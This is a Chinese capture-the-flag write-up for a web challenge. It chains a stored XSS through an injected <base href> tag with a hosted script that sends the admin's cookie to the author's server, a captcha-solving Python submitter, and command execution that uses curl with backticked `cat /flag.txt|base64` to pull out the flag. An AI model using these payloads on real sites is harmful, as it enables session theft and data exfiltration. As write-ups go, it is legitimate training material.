WEB2 Breakout
(浏览器崩了 导致预留的准备截图的都没有了)
这道题目直接随便输入账号密码就能登录。
进入一共有三个页面 其中exec需要管理员权限才能执行。
经过一番探索后发现在message页面可以留言。且report上面可以提交url(说明漏洞利用点是可以通过xss获取到管理员的cookie)
message经过多种尝试后,发现可以通过base 标签进行js地址替换,使得该页面加载的js可控
于是在message页面留言<base href="http://我的vpsip/" />
并自己服务器上的/js/index.js上增加cookie反弹到自己服务器。
$(document).ready(function(){
$.ajax({url:"http://服务器地址/index.php", data: {"cookie":document.cookie} ,async:false});
});
```
#encoding=utf-8
# 这里用域名的提示这个链接并不是我们的 并且咨询主办方说题目没问题,于是我就尝试ping 了下获取ip带端口就能提交,(现在想想可能是因为只能提交存在的页面的原因吧(report/main/exec)
import requests
import re
cookies={
'PHPSESSID':'oaahbvmnd48ihgf9gb7c0efh45',
'token':'sgdream97'
}
#http://101.68.81.236:10171/main.php
a=requests.session()
back = a.get('http://101.68.81.236:10171/report.php',cookies=cookies)
code = re.findall("substr\(md5\(\$str\), 0, 6\) === (......)",back.text.replace("\n",'').replace("\r",''))
print(code)
back = requests.get("http://127.0.0.1/substr/?id="+code[0])# 这个是我本地运行的获取验证码的
code = (back.text)
back = a.post("http://101.68.81.236:10171/report.php",data={'url':'http://101.68.81.236:10171/main.php','code':code , 'exec':1},cookies=cookies)
cookie
获取到cookie后在去访问exec.php
使用 curl http://服务器地址/index.php?s=`ls /|base64` 获取flag位置
ls base64通过 curl http://服务器地址/index.php?s=`cat /flag.txt |base64`
cat /flag.txt获取flag
flag
网友评论